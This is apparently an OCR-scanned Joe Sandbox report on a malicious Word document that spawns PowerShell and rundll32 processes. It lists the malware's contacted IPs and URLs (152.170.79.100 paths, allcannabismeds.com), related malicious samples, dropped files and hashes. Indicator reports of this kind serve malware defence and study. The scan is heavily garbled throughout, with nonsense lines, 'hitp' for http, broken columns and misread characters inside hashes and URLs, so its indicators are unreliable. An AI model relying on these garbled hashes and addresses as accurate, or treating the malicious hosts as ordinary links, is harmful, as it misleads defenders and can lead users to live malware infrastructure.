hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe

[ e S 7= ) I ETEE- N
L ) v ) I

hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
o damaemedseom o m% vesew ses
hitp:/fallcannabismeds.com 0% Avira URL Cloud safe
o emaspschosudocamcgbnPRl o AweURCod mavwe
hitp://computername/printers/printername/.printer 0% Avira URL Cloud safe
o dloumecmbshackr Ty o AweURCod mavae
hittp:/fiwww.%s.comPA 0% URL Reputation safe
hittp:/fiwww.%s.comPA 0% URL Reputation safe
hittp:/fiwww.%s.comPA 0% URL Reputation safe
T Npshsamocombnddestoel o AweURCod mavwe
hitp://152.170.79.100/tkvop2zz2se/Ovkwo/ 0% Avira URL Cloud safe
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https://www.metadefender.com/#!/results/file/bzIxMDEwNl9WcUhlMDB1Z0VSSEZFOERVdUtr/regular/analysis
https://www.virustotal.com/gui/url/a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a/detection/u-a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a-1610521531
https://www.virustotal.com/gui/url/a346847f140f7c7e67fe8f277f7cde88411d312a9b4def7bb4b40c909b6f9857/detection/u-a346847f140f7c7e67fe8f277f7cde88411d312a9b4def7bb4b40c909b6f9857-1610544434
https://www.virustotal.com/gui/url/fcd48a0eaf3fcc13a7f76f153df7ed601b567de0ccd7203e79b9bfda70f0a38b/detection/u-fcd48a0eaf3fcc13a7f76f153df7ed601b567de0ccd7203e79b9bfda70f0a38b-1610479352
https://www.virustotal.com/gui/url/2afab2333705ee92e9adf1082e90ff658aa4d3a954aff14c8de6ac6f0eac0372/detection/u-2afab2333705ee92e9adf1082e90ff658aa4d3a954aff14c8de6ac6f0eac0372-1610508317
https://www.virustotal.com/gui/url/8de26ee14c51322f3b94df934f9a6f1cf02d06a3809aa725721ef7994c6a1f98/detection/u-8de26ee14c51322f3b94df934f9a6f1cf02d06a3809aa725721ef7994c6a1f98-1609334957
https://www.virustotal.com/gui/url/a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a/detection/u-a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a-1610521531

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

__-___
Contacted URLs

Name Malicious Antivirus Detection Reputation
__
URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

hitp:/f/www.windows.com/pctv. rundlI32.exe, 00000008.0000000 false high
2.2110345397.0000000001F70000.
00000002.00000001.sdmp

hitp://investor.msn.com rundlI32.exe, 00000006.0000000 false high
2.2113882057.0000000001C40000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2106952644.000
0000000740000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2110345397.000000000
1F70000.00000002.00000001.sdmp

hitp:/fiwww.msnbc.com/news/ticker.txt rundlI32.exe, 00000006.0000000 false high
2.2113882057.0000000001C40000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2106952644.000
0000000740000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2110345397.000000000
1F70000.00000002.00000001.sdmp

hitp:/iwellformedweb.org/CommentAPI/ rundlI32.exe, 00000007.0000000 false e URL Reputation: safe unknown
2.2108209806.0000000002390000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe
00000008.00000002.2112295620.000 e URL Reputation: safe
00000024C0000.00000002.0000000
1.sdmp
hitp:/fiwww.iis.fhg.de/audioPA rundlI32.exe, 00000007.0000000 false e URL Reputation: safe unknown
2.2108209806.0000000002390000. e URL Reputation: safe
00000002.00000001.sdmp e URL Reputation: safe
e URL Reputation: safe
hitp://iwindowsmedia.com/redir/services.asp? rundlI32.exe, 00000006.0000000 false e URL Reputation: safe unknown
WMPFriendly=true 2.2114633102.0000000001E27000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe
00000007.00000002.2107425758.000 e URL Reputation: safe
0000000927000.00000002.0000000
1.sdmp
hitp://www.hotmail.com/oe rundlI32.exe, 00000006.0000000 false high
2.2113882057.0000000001C40000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2106952644.000
0000000740000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2110345397.000000000
1F70000.00000002.00000001.sdmp
hitp:/itreyresearch.net rundlI32.exe, 00000007.0000000 false e URL Reputation: safe unknown
2.2108209806.0000000002390000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe
00000008.00000002.2112295620.000 e URL Reputation: safe

00000024C0000.00000002.0000000
1.sdmp
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https://www.virustotal.com/gui/url/a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a/detection/u-a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a-1610521531
https://www.virustotal.com/gui/url/fcd48a0eaf3fcc13a7f76f153df7ed601b567de0ccd7203e79b9bfda70f0a38b/detection/u-fcd48a0eaf3fcc13a7f76f153df7ed601b567de0ccd7203e79b9bfda70f0a38b-1610479352
https://www.virustotal.com/gui/url/a346847f140f7c7e67fe8f277f7cde88411d312a9b4def7bb4b40c909b6f9857/detection/u-a346847f140f7c7e67fe8f277f7cde88411d312a9b4def7bb4b40c909b6f9857-1610544434
https://www.virustotal.com/gui/url/2afab2333705ee92e9adf1082e90ff658aa4d3a954aff14c8de6ac6f0eac0372/detection/u-2afab2333705ee92e9adf1082e90ff658aa4d3a954aff14c8de6ac6f0eac0372-1610508317
https://www.virustotal.com/gui/url/8de26ee14c51322f3b94df934f9a6f1cf02d06a3809aa725721ef7994c6a1f98/detection/u-8de26ee14c51322f3b94df934f9a6f1cf02d06a3809aa725721ef7994c6a1f98-1609334957

Name

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp://iwww.icra.org/vocabulary/.

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

Source Malicious Antivirus Detection Reputation

rundll32.exe, 00000006.0000000 false high
2.2114633102.0000000001E27000.

00000002.00000001.sdmp, rundll32.exe,

00000007.00000002.2107425758.000

0000000927000.00000002.0000000

1.sdmp

rundll32.exe, 00000006.0000000 false unknown
2.2114633102.0000000001E27000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2107425758.000
0000000927000.00000002.0000000

1.sdmp

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

powershell.exe, 00000005.00000
002.2104803337.000000000234000
0.00000002.00000001.sdmp, rund
1132.exe, 00000007.00000002.21
11873001.0000000002CF0000.0000
0002.00000001.sdmp

false high

hitp://investor.msn.com/

hitp:/fwww.piriform.com/ccleanerhttp:

hitp:/fwww.piriform.com/ccleaner

hitp://computername/printers/printername/.printer

hitpiwww.%s.comPA

hitp/;

Contacted IPs

Copyright null 2021

rundll32.exe, 00000006.0000000
2.2113882057.0000000001C40000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2106952644.000
0000000740000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2110345397.000000000
1F70000.00000002.00000001.sdmp

high

powershell.exe, 00000005.00000 false
002.2103707252.000000000030400

0.00000004.00000020.sdmp

high

powershell.exe, 00000005.00000 false
002.2103707252.000000000030400

0.00000004.00000020.sdmp

high

rundll32.exe, 00000007.0000000 false e Avira URL Cloud: safe
2.2108209806.0000000002390000.

00000002.00000001.sdmp

powershell.exe, 00000005.00000 false .
002.2104803337.000000000234000
0.00000002.00000001.sdmp, rund
1132.exe, 00000007.00000002.21
11873001.0000000002CF0000.0000

0002.00000001.sdmp

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
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https://www.virustotal.com/gui/url/a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a/detection/u-a3bc3987d9cc60b794ef91486203b319ea89f0d563cc6bec19c795144534e05a-1610521531

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

P Domain
152.170.79.100 unknown
35.208.69.64 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright null 2021

Country
Argentina
United States

Flag

=
S

ASN ASN Name
10318 TelecomArgentinaSAAR
19527 GOOGLE-2US

31.0.0 Red Diamond

339167

13.01.2021

16:30:48

CloudBasic

Oh 12m 50s

false

light
info_2020_NJY_31940448.doc

defaultwindowsofficecookbook.jbs

Malicious
true

true

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,

Java 8 Update 121, .NET 4.6.2)
17

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default

Timeout

MAL
mal100.troj.evad.winDOC@26/7@1/2
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EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

16:31:44
16:31:45
16:31:49

Joe Sandbox View | Context

IPs

Match
152.170.79.100

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name /| URL

Successful, ratio: 88.9%

Successful, ratio: 39.8% (good quality ratio 38.8%)
Quality average: 82%
Quality standard deviation: 24.1%

Successful, ratio: 88%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

Description
1x Sleep call for process: msg.exe modified
33x Sleep call for process: powershell.exe modified

892x Sleep call for process: rundll32.exe modified

SHA 256 Detection

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

TCP Packets have been reduced to 100
Execution Graph export aborted for target
powershell.exe, PID 2300 because it is empty
Report creation exceeded maximum time and may
have missing disassembly code information.
Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtQueryAttributesFile calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Link Context

Browse e 152.170.7
9.100/jne6
snt/mémyio
hmse/

Browse e 152.170.7
9.100/gsyu
aw2no20y/

Browse e 152.170.7
9.100/2w9r
adk/elbqg9
3t32/bfbkk
xnxm/kzpgf
x0srz2azra
2z6/wtvvr/
zuhrx/

Browse e 152.170.7
9.100/udiw
y/9lgzybri
7w/n3gkg5s
eewustvns6
8/136¢c10de
4srgz133y/
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https://view.joesandbox.com/analysis/252716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 152.170.7
9.100/f5hv
sm8p45k9/r
Ohin/g4fm3
hzyqdsc/

Get hash malicious Browse e 152.170.7
9.100/x692
gr/bchg5i/
1ldwlveojm5
Iwx1zsmb5gb
t71xbtih/g
qer5rzmurhr33/

Get hash malicious Browse e 152.170.7
9.100/g66e
zIsi5912gh
9ten/ydgp2
y3srh2mb5hj
6/xkq9/wst
gsdd/xpmc9
zuidrre/

Get hash malicious Browse e 152.170.7
9.100/8wijt
ai/6101dxx
/Aggv7swila
5lrki/

Get hash malicious Browse e 152.170.7
9.100/7gfh
58w8tuftcw/

Get hash malicious Browse e 152.170.7
9.100/76¢cc
ih3j36ds48
oflg/lagrd
mofi2yOwnk
/3huzz5wjow7/

Get hash malicious Browse e 152.170.7
9.100/dwap
Julw9qv3rb
7tn3pfmceyj
Ixibwt6769
jdvwhte/zs
ns1d90vaps
Iféyatsbh/

Get hash malicious Browse e 152.170.7
9.100/hmjm
chef7iewj2
uvzf/9pltl
pfikujmwtp
/e6oaz9n/7
m756y/bxs78/

Get hash malicious Browse e 152.170.7
9.100/al70
Onpvtnacls
p/hyv2likp
gl5er/ftza
1/82949dvg
1j88n9/kr0
5413td4qgc
n0/zer9t3m/

Get hash malicious Browse e 152.170.7
9.100/9h5m
kg4rscmn4p
5/5i03xqzi
osOrjffom1p
[7ryi6q8v0
filjihnekck
1dpk9ng/Ou
mxys8m7imu
c090/jj1uo/

Get hash malicious Browse e 152.170.7
9.100/jefm
ga7pgné/a7
zeb1l6ir8p
Jiuii6qu/7
x9123680/q
wimc/kzg68
jfg4cm59ivl/

Get hash malicious Browse e 152.170.7
9.100/Idpt
rzs0lv336p
jtc/s28dym
elc06393/
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https://view.joesandbox.com/analysis/252328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid
https://view.joesandbox.com/analysis/251921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251921/html/none?idtype=webid
https://view.joesandbox.com/analysis/251912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251912/html/none?idtype=webid
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid
https://view.joesandbox.com/analysis/251878/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251878/html/none?idtype=webid
https://view.joesandbox.com/analysis/251877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251877/html/none?idtype=webid

Match

35.208.69.64

Domains

Match

allcannabismeds.com

ASN

Match
GOOGLE-2US

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link
Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

152.170.7
9.100/bz77
n5i0/aajfq
5b2yw7yw59
kt33/0ghox
zznyfa8bik
7hm1lyiyb7
xv8gihti8i
Juqf8mgk7iy/

152.170.7
9.100/iu4g
99cxf8oc/

152.170.7
9.100/ipja
i1r8tvftp/
t2varékloq
2jb2z38/f3
8ne62mhsuf
3mdo/alz9a
6ur8zqg6rvexry/

152.170.7
9.100/doqy
otvh2su6/g
ilkt2/qw7i
pzh4umgoxf
dc4gu/4alf
k7j/mlen5y
krvghpj/

allcannab
ismeds.com
/unraid-ma
plZZmél/

allcannab
ismeds.com
/unraid-ma
plZZmél/

allcannab
ismeds.com
/unraid-ma
plZZmél/

allcannab
ismeds.com
/unraid-ma
plZZmél/

Context

35.208.69.64
35.208.69.64

35.208.69.64
35.208.69.64

Context

35.208.174.213
35.214.23.27
35.208.179.96
35.214.203.1
35.214.169.246
35.208.84.24
35.209.78.196
35.214.169.246
35.209.78.196
35.214.199.246
35.209.33.122
35.208.84.24
35.208.104.82
35.209.110.77
35.208.69.64
35.214.159.46
35.214.159.46
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https://view.joesandbox.com/analysis/251872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251872/html/none?idtype=webid
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid
https://view.joesandbox.com/analysis/251857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251857/html/none?idtype=webid
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid
https://view.joesandbox.com/analysis/251654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251654/html/none?idtype=webid
https://view.joesandbox.com/analysis/251617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251617/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid
https://view.joesandbox.com/analysis/251654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251654/html/none?idtype=webid
https://view.joesandbox.com/analysis/251617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251617/html/none?idtype=webid
https://view.joesandbox.com/analysis/254604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254604/html/none?idtype=webid
https://view.joesandbox.com/analysis/254570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254570/html/none?idtype=webid
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid
https://view.joesandbox.com/analysis/253440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253440/html/none?idtype=webid
https://view.joesandbox.com/analysis/253268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253268/html/none?idtype=webid
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid
https://view.joesandbox.com/analysis/253179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253179/html/none?idtype=webid
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid
https://view.joesandbox.com/analysis/253172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253172/html/none?idtype=webid
https://view.joesandbox.com/analysis/253042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253042/html/none?idtype=webid
https://view.joesandbox.com/analysis/252549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252549/html/none?idtype=webid
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid
https://view.joesandbox.com/analysis/252316/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252316/html/none?idtype=webid
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid

Match

TelecomArgentinaSAAR

JA3 Fingerprints
No context

Dropped Files

Match
C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name /| URL SHA 256

Get hash

Created / dropped Files

Detection
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

Link

Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Context

35.208.84.24
35.208.84.24
35.208.69.64

190.247.13
9.101

190.247.13
9.101

181.170.3.37

152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100

190.247.13
9.101

190.247.13
9.101

190.247.13
9.101

190.247.13
9.101

200.114.142.40
152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100

Context

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07B73A5-D643-47FF-B622-0CF30ED55516}.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MD5: 5D4D94EE7E06BBBOAF9584119797B23A

SHAL: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CAB6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5SEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
Ad

Malicious: false

Preview:

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: ASCII text, with CRLF line terminators
Category: dropped

Copyright null 2021
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https://view.joesandbox.com/analysis/251864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid
https://view.joesandbox.com/analysis/251857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251857/html/none?idtype=webid
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251849/html/none?idtype=webid
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid
https://view.joesandbox.com/analysis/253061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253061/html/none?idtype=webid
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid
https://view.joesandbox.com/analysis/252297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252297/html/none?idtype=webid
https://view.joesandbox.com/analysis/252296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252296/html/none?idtype=webid
https://view.joesandbox.com/analysis/252060/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252060/html/none?idtype=webid
https://view.joesandbox.com/analysis/252054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252054/html/none?idtype=webid
https://view.joesandbox.com/analysis/252052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252052/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid
https://view.joesandbox.com/analysis/251921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251921/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

104

4.4337069393458535

false
3:M1YK+Q3WUCRt2UL/Q3WUCRt2ZmX1YK+Q3WUcRt2v:MyK+PUcRD/PUCRAK+PUCRS
3F41D10BF9F9AF03A04023D8EB049989
3986F88F1BC337C32825E1E03453ABBE36B8FCD4
FAC7D2875B651552EBCODFBAF39084E0741D33DE13470AFAFAG7779EA7TF8ABAC

52E6B5FAAC8731D4DBF579666C5A6E72906DESD2AE3FCE70E86A381A75CEC69591009E2E45EDA2A821A85B82D09BOEFO6ACCCOEA062ED1A857E7A02F5486C:!
34

false

[doc]..info_2020_NJY_31940448.LNK=0..info_2020_NJY_31940448.LNK=0..[doc]..info_2020_NJY_31940448.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\info_2020_NJY_31940448.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed Aug 26 14:08:16 2020,
atime=Wed Jan 13 23:31:41 2021, length=163328, window=hide

dropped

2148

4.55005851897808

false
24:86H/XTm6GreVPe4GDv3qJdM7dD26H/XTm6GreVPe4GDv3qJdM7dV:86H/XTFGgFxJQh26H/XTFGFXJQ/
B40F3772B12E7A1C991296DE6GEAA34D5

6DE879D4890CB03D3FAD473FF7BACA7089FD1D52
568D6E386FB7F4D117EB76D677B91F07D9A5F555046FA95ED92F2002EBI1A0AS

5C441768DE8B4DCALA7ASCESEOD8ASDDFIB7BFC7BC71235F4AEB95F39788C8CCEE835526F1BD1E95464881EC1AD7F534C4D45B5C46F68BE78DEACAA280EA
260

false

.+00.../C:\... 6....Us.ers..@.s.hell3.2.dll,.-

...... t.1.....QK.X..Users. ..........QK.X*

.2.1.8.1.3... .Q.y..user.8.....QK.X.Q.y*...& Alb.us....z.1.....Q.y..Desktop.d......QK.X.Q.y*..._: .D.esskto.p..@.s.h.ell3.2.dll,.-.2.
1.7.6.9 ..—2 ~..R .INFO_2~1.DOC..b....... Q.y.Q.y*..8... ..info._.2.0.2.0._.N.J.Y._.3.1.9.4.0.4.4.8..d.o.c... JRTOUOUIRUICIONt SO (SOPOR 2J.....C:\Users\. #....

\124406\Users.user\Desktop\info_2020_NJY _ 31940448 doc 1.\ D.ess.kto.pli.nfo._.2.0. 2 0 N J Y .3.1.9.4.04.4.8...d.o.c.. .,.LB.)...
AG..ooiinnn 1SPS.XF.L8C....&m.m............~...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7 - .1.0.0.6.............‘.......X.......124406....

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyzALORwObGUXKbylin:vdsCkWtJLObyvb+
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CC0OD4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719

